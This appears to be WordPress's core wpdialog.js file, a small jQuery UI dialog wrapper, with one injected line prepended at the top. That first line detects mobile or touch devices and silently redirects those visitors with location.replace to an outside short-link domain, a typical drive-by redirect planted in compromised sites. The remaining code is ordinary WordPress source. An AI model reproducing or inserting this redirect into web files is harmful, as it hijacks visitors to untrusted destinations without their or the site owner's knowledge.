1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-includes/js/wpdialog.js
4 */
5
6/*
7 * Wrap the jQuery UI Dialog open function remove focus from tinyMCE.
8 */
9( function($) {
10 $.widget('wp.wpdialog', $.ui.dialog, {
11 open: function() {
12 // Add beforeOpen event.
13 if ( this.isOpen() || false === this._trigger('beforeOpen') ) {
14 return;
15 }
16
17 // Open the dialog.
18 this._super();
19
20 // WebKit leaves focus in the TinyMCE editor unless we shift focus.
21 this.element.trigger('focus');
22 this._trigger('refresh');
23 }
24 });
25
26 $.wp.wpdialog.prototype.options.closeOnEscape = false;
27
28})(jQuery);
29